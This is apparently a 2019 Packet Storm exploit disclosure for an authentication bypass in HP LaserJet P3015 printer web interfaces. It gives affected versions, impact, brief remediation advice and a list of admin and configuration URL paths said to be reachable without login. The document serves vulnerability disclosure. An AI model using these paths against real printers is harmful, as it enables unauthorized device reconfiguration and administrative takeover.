what you don't know can hurt you

HP LaserJet P3015 Printers 6.7.0.x Authentication Bypass

HP LaserJet P3015 Printers 6.7.0.x Authentication Bypass
Posted Apr 2, 2019
Authored by KingSkrupellos

HP LaserJet P3015 Printers version 6.7.0.x suffers from an authentication bypass vulnerability.

tags | exploit, bypass
MD5 | a9ee0339d5a1fcd10ee15d88e807c1b6

HP LaserJet P3015 Printers 6.7.0.x Authentication Bypass

Change Mirror Download
############################################################################################

# Exploit Title : HP LaserJet P3015 Printers 6.7.0.x Bypass Missing Authentication
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/03/2019
# Vendor Homepage : hp.com
# Software Information Link :
support.hp.com/us-en/drivers/selfservice/hp-laserjet-enterprise-p3015-printer-serie/3815798
# Software Version :
Driver-Universal Print Driver for Managed Services => Version 6.1.0.20062 and 6.7.0.23989
Example Printer Model Number : CE528A - CE527A - CEXXXA
Product Software Version : 20131115 07.171.2 - 20170106 07.250.2
Firmware => Version 07.250.2
Software Universal Printer Driver => Version 1.8.6
Driver USB Version => 7.0.0.29
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : CWE-306 [ Missing Authentication for Critical Function ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

############################################################################################

# Description about Software :
***************************
HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American

computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.

############################################################################################

# Impact :
***********
The software does not perform any authentication for functionality that requires a provable user identity

or consumes a significant amount of resources.

The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the

affected application and change configuration settings or gain administrative access.

Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.

Developing a fix would require understanding of the current application security model and implemented access controls.

Three basic rules however can help you eliminate potential improper authorization issues:

1) Identify all privileged assets within your application (web pages that display sensitive data,
website sections that contain privileged/administrative functionality, etc.)

2) Identify user roles within the application and their access permissions

3) Always check if the user should have privileges to access the asset

############################################################################################

# Bypass Missing Authentication Exploit / Vulnerability :
*************************************************
/hp/device/this.LCDispatcher

/hp/device/this.LCDispatcher?nav=hp.EmailServer

/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1

/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1

/hp/device/this.LCDispatcher?nav=hp.Alerts

/hp/device/this.LCDispatcher?nav=hp.AutoSend

/hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0

/hp/device/this.LCDispatcher?nav=hp.OtherLinks

/hp/device/this.LCDispatcher?nav=hp.Config

/hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig

/hp/jetdirect

/config_pro.htm
/tcpipv6.htm
/tcpipv4.htm

/tcp_param.htm
/network_id.htm

/tcp_summary.htm
/index_info.htm

/support_param.html
/support.htm

/tcp_diag.htm
/configpage.htm

/tcp_param.htm
/network_id.htm

############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

############################################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    2 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    16 Files
  • 13
    Feb 13th
    19 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    13 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close